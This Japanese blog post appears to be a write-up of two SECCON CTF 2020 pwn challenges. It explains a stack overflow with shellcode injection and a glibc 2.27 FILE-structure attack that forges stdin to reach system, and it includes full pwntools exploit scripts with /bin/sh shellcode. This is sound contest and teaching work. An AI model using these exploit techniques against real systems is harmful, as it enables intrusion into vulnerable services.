イントロ
いつぞや開催された SECCON CTF 2020。
開始3時間で悟ってしまい放棄してしまいましたが、pwn 問題は全部解いていくことにします。sandbox 問題は余力があったら全部解こうと思います。 本エントリでは、pwn の中で solve 数が多かった 2 問を取り上げます。 どうせこれを書き上げる頃には作問者様の writeup が出ていると思うので、本エントリでは速さではなく詳細な説明をする様に心がけようと思います。
pwarmup
静的解析
.sh1./chall: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=02a44cf279881f5887ca24374b56d586be571c89, not stripped
2 RELRO: No RELRO
3 Stack: No canary found
4 NX: NX disabled
5 PIE: No PIE (0x400000)
6 RWX: Has RWX segments
libc 配布なし。ソースコード配布。
Vulns / Attack Vector
scanf
を用いているため、自明なスタックオーバーフローがある。
また、カナリアは居ないため SSP に殺されることもない。また、0x60000
領域が RWX
になっているためここに RBP を移動させて再び main
を実行することでシェルコードを注入することができる。
尚、一度目のmain
で stdout/stderr
は close されているためシェルを取った後は exec 1>&0
で再び開く必要が有る。
Exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./chall"
8LIBCNAME = ""
9
10hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost")
11ports = (9001,12300,23947)
12rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
13rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
14rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
18
19
20## utilities #########################################
21
22def hoge():
23 global c
24 pass
25
26## exploit ###########################################
27
28def exploit():
29 global c
30 # pop: r13 rdi rsi r14 r15
31 main = 0x4006b7
32 pop_rdi = 0x4007e3
33 ret = 0x400566
34 shellcode = "\xf7\xe6\x50\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\xb0\x3b\x0f\x05"
35 got = 0x600bd8
36
37 c.recvline()
38 pay = ""
39 pay += "A"*0x20
40 pay += p64(0x600000+0x40) # rbp
41
42 pay += p64(0x4006bf) #RA
43
44 c.sendline(pay)
45
46 # 2R
47 sleep(1)
48 pay = ""
49 pay += p64(0x600050) * (0x30//8)
50 pay += shellcode
51 c.sendline(pay)
52
53 c.sendline("exec 1>&0")
54 c.sendline("cat ./flag-e6951df0400add6a6b5be11f25b80cea.txt")
55
56
57## main ##############################################
58
59if __name__ == "__main__":
60 global c
61
62 if len(sys.argv)>1:
63 if sys.argv[1][0]=="d":
64 cmd = """
65 set follow-fork-mode parent
66 """
67 c = gdb.debug(FILENAME,cmd)
68 elif sys.argv[1][0]=="r":
69 c = remote(rhp1["host"],rhp1["port"])
70 elif sys.argv[1][0]=="v":
71 c = remote(rhp3["host"],rhp3["port"])
72 else:
73 c = remote(rhp2['host'],rhp2['port'])
74 exploit()
75 c.interactive()
lazynote
.sh1./chall: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a1663726383f8586f276451381e6fbb6f3d2d675, not stripped
2 Arch: amd64-64-little
3 RELRO: Full RELRO
4 Stack: Canary found
5 NX: NX enabled
6 PIE: PIE enabled
libc 2.27。 任意サイズの calloc を 4 回のみ行うことができる。edit/view/delete 等の機能は実装されていない。
Vulns
本プログラムでは、calloc
するサイズ csize
と読み込むデータサイズ rsize
の 2 つをそれぞれ聞いてくる。rsize < csize
の場合には csize=rsize
に修正し、結局 csize
だけ calloc
することになる。
よって、rsize > csize
にすることで直接的に任意の値をオーバーフローさせることはできない。
問題はその後で、readline でユーザからのデータを入力した後以下のように NULL 終端させている:
まずそもそもに、readline
の内部で呼ばれている fgets
はそれ自体で NULL 終端してくれるため呼び出し側が NULL 終端させる必要はない。
案の定、rsize > csize
の場合には確保したバッファを超えて NULL クリアすることになってしまう。
というわけで、今回の attack vector は 1byte relative NULL clear x 4 のみということになる。
libcbase leak
持っている vector が relative であるために、バッファは libcbase とのオフセットが既知である場所に取られていなければならない。
幸いにも本プログラムでは任意サイズの calloc
ができる。よって、system_mem
よりも大きいサイズ(>0x21000
)を calloc
してやれば mmap
してくれる。
mmap
によって確保される領域は libcbase とのオフセットが固定であるため、前述の NULL clear によって任意の libc symbol を NULL clear することができる:
まずは libcbase leak をすることにする。 基本的な方針は 2018 年の HITCON の問題と同じで(以下のエントリで述べられている) FILE structure exploit である。
詳しくは上のエントリを参照されたいとだけ言ってスキップしてしまってもいいが、 自分自身よく FILE exploit を理解していない感じがあったので、コードベースで丁寧に方針をおさらいしていくことにする。
puts
によって libc symbol を leak させたいため、まずはこいつから考えよう。
puts
は stdout
の関数テーブルである _IO_file_jmps
を参照して _IO_new_file_xsputn
を呼ぶ。
そして以下のようにして _IO_OVERFLOW
を呼ぶ。引数 f
は stdout
である:
ここで第 2 引数 ch
に EOF
を渡しているため、内部では do_new_write
が呼ばれる。
この際の引数に注目すると、stdout->_IO_write_base
から stdout->_IO_write_ptr - stdout->_IO_write_base
byte 分だけ出力するようになることが分かる:
この後は引数をほぼそのままに write
を呼ぶだけである。
さて、それでは puts を呼んだ際の stdout->_IO_write_base
がどうなっているかを見てみると、以下のようになっている:
おおよそ stdout
の内部を指していることが分かる。
この時、_IO_write_base
の LSB を NULL clear すると _IO_write_base
が stdout
自身を指すことになる。
即ち、上で見た do_new_write
内部の write
において stdout
自身の値を出力させることができるようになる。
出力サイズ自体は write_ptr
と write_base
の差を取って計算されるが、write_base
を小さく書き換えているため十分である。
それでは早速相対書き換えによって stdout->_IO_write_base
を書き換えて leak をしようと思って試してみても、何も出力はされないだろう。というのも、do_new_write
の内部において、以下のようなチェックが有る:
_IO_read_end
と _IO_write_base
が等しくない場合には lseek64
を呼び出している。
ここで _IO_write_base
を NULL clear した状態のstdout
は以下のようになっている。
確かに read_end
と write_base
が異なるために、lseek64
が呼ばれることになる。
だがこの lseek64
は不正呼び出しのために pos_BAD
を返してくる。
そのため、即座に return 0
されて結局 puts
は何もせずに終わることになる。leak なんてできやしない。
さて、対策としては単純に上の条件分岐を false にするため _IO_read_end
も事前に NULL clear してやればいい。
但しその場合には、_IO_write_end
も書き換えるまで出力が一切されなくなることに注意。
上記の方針で read_end
と write_base
を書き換えると以下のようにstdout
が出力されるため、libcbase が leak できたことになる:
Limited arbitrary write into stdin
続いて stdin を壊していくことにする。
_IO_fgets
は内部的には _IO_getline
を呼び、更にすぐ _IO_getline_info
を呼ぶことになる。
その中で、stdout->_IO_read_end - fp->_IO_read_ptr < 0
ならば __uflow
を呼ぶ。
この __uflow
は内部的に stdin
のジャンプテーブルである _IO_file_jmps
を参照し、_IO_new_file_underflow
を呼ぶ。こいつは普通の条件の場合には read
を呼ぶことになる。その際の引数は以下のようにして決定される:
やはり先程の do_new_write
の場合と同様に、stdin->_IO_buf_base
に対して read
を行っている。
よって、stdin->_IO_buf_base
を NULL clear してstdin
を指すようにしてやることで、stdin
に対して任意の値を書き込んでやることができる。
あとは stdin
を適当に forge してやれば終わりか?というとそうではない。
read
の第 3 引数は _IO_buf_end - _IO_buf_base
になっており、これは NULL clear によって生じた差の分だけしかない。
今回の場合は 0x84 byte のみである。これは stdin
を forge するには若干足りない。
しかも、ここまでで既に 3 回 calloc
しているため、残り一回しか読み込みを行うことはできない。
対処法としてはシンプルで、まずは stdin
の前半にある _IO_buf_end
を任意の大きい値に書き換えてあげればいいだけである。そうすれば、次の read
では更に大きい値分だけ読み込むことができる。
残り一回しか読み込めないんじゃなかったんかとブチ切れて発狂しだす輩もいるかもしれないが、大丈夫。もう一度 _IO_getline_info
を見返してみよう。
この while ループ及び内部の __uflow
は、read_end < read_ptr
である限り行われる。
従って、1 回目の __uflow
において stdin
の前半に有る read_end
/ buf_base
/ buf_end
を書き換えた後、2 回目の __uflow
において好きなだけ stdin
を forge してしまえばよい。
以上の方針で 1 回目の __uflow
を終えた後の stdin
は以下のようになっている:
read_base
はstdin
を指しており、buf_end - buf_base
は十分な大きさを持っているため、
stdin 全体を forge することができるようになった。
なお、こいつら以外を overwrite する値は何でも良いが、read_end
は read_ptr
よりも小さくなっている必要が有る。
Forge stdin via unimited arbitrary write into stdin
あとは、最近の zer0pts CTF とか他諸々の CTF でも大量に出ている方針と同じ方針でいける:
尚、今回は onegadget は全て使えない。よって、_IO_str_overflow
内部での call において RDI には new_buf
として 2 * (_IO_buf_end - _IO_buf_base) + 0x64
が入ることを利用して、任意の値が入れられる:
Exploit
exploit.py 1#!/usr/bin/env python
2#encoding: utf-8;
3
4from pwn import *
5import sys
6
7FILENAME = "./chall"
8LIBCNAME = "./libc-2.27.so"
9
10hosts = ("pwn-neko.chal.seccon.jp","localhost","localhost")
11ports = (9003,12300,23947)
12rhp1 = {'host':hosts[0],'port':ports[0]} #for actual server
13rhp2 = {'host':hosts[1],'port':ports[1]} #for localhost
14rhp3 = {'host':hosts[2],'port':ports[2]} #for localhost running on docker
15context(os='linux',arch='amd64')
16binf = ELF(FILENAME)
17libc = ELF(LIBCNAME) if LIBCNAME!="" else None
18
19
20## utilities #########################################
21
22note =" "
23enpitu = "✏️ "
24trash = "🗑️ "
25eye = "👀"
26
27def hoge(ix):
28 global c
29 c.recvuntil(">")
30 c.sendline(str(ix))
31
32def a(csize, rsize, data, ret=False):
33 if ret:
34 c.sendline(str(1))
35 c.sendline(str(csize))
36 c.sendline(str(rsize))
37 c.sendline(data)
38 return
39 hoge(1)
40 c.recvuntil("alloc size: ")
41 c.sendline(str(csize))
42 c.recvuntil("read size: ")
43 c.sendline(str(rsize))
44 c.recvuntil("data: ")
45 c.sendline(data)
46
47## exploit ###########################################
48
49
50def exploit():
51 global c
52 big_size = 0x40300
53 mmap_dif = 0x1f7760
54
55 if False: # my libc
56 a(big_size, mmap_dif+0x11-0x10, "A"*0x10) # read_end
57 a(big_size, big_size+0x10+0xcd0+0x20 + mmap_dif + 0x11, "A"*0x10, True)
58 libc_dif = 0x1b85b0
59 else:
60 mmap_dif += 0x235ff0+0x10
61 a(big_size, mmap_dif+0x1, "A"*0x10)
62 a(big_size, big_size + mmap_dif+0xcd0+0x1+0x40, "A"*0x10, ret=True)
63 libc_dif = 0x1b85b0 + 0x235300
64
65 libcbase = unpack(c.recvuntil(p8(0x7f))[-6:].ljust(8,'\x00')) - libc_dif
66 print("[+] libcbase: "+hex(libcbase))
67
68 # make stdin->buf_end into stdin itself
69 if False: # mylibc
70 a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end
71 else:
72 a(big_size, (big_size+0x20+0xcd0)*2 + mmap_dif + 0x11 + 0x38- 0xd60, "A"*0x10) # stdin->buf_end
73
74 # forge fake stdin
75 stdin = libcbase + libc.symbols["_IO_2_1_stdin_"]
76 pay2 = b""
77 pay2 += p64(0) # flag
78 pay2 += p64(stdin) # read_ptr
79
80 pay2 += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr
81 pay2 += p64(stdin) # read_base
82 pay2 += p64(stdin) # write_base
83
84 pay2 += p64((libcbase+0x1b40fa-0x64)//2) # write_ptr binsh
85 pay2 += p64(stdin) # write_end
86
87 pay2 += p64(0) # buf_base
88 pay2 += p64((libcbase+0x1b40fa-0x64)//2) # buf_end
89 pay2 += p64(0)*0x12
90 pay2 += p64(libcbase + libc.symbols["_IO_file_jumps"]+0xc0 - 0x10) # _IO_str_jmps
91 pay2 += p64(libcbase + libc.symbols["system"]) # system
92 pay2 = pay2.ljust(0x100,'\x00')
93
94
95 pay = b""
96 pay += p64(0xfbad208b) # flag
97 pay += p64(stdin) # read_ptr
98
99 pay += p64(libcbase + 0xbeef) # read_end should be smaller than read_ptr
100 pay += p64(stdin) # read_base
101 pay += p64(stdin) # write_base
102 pay += p64(stdin) # write_ptr
103 pay += p64(stdin) # write_end
104
105 pay += p64(stdin) # buf_base
106 pay += p64(stdin+len(pay2)) # buf_end
107 pay = pay.ljust(0x84,'\x00')
108 pay += pay2
109 c.sendline(pay)
110
111
112## main ##############################################
113
114if __name__ == "__main__":
115 global c
116
117 if len(sys.argv)>1:
118 if sys.argv[1][0]=="d":
119 cmd = """
120 set follow-fork-mode parent
121 """
122 c = gdb.debug(FILENAME,cmd)
123 elif sys.argv[1][0]=="r":
124 c = remote(rhp1["host"],rhp1["port"])
125 elif sys.argv[1][0]=="v":
126 c = remote(rhp3["host"],rhp3["port"])
127 else:
128 c = remote(rhp2['host'],rhp2['port'])
129 exploit()
130 c.interactive()
アウトロ
トイレの水が止まらなくなって泣いています。
次回は kstack やろうかな。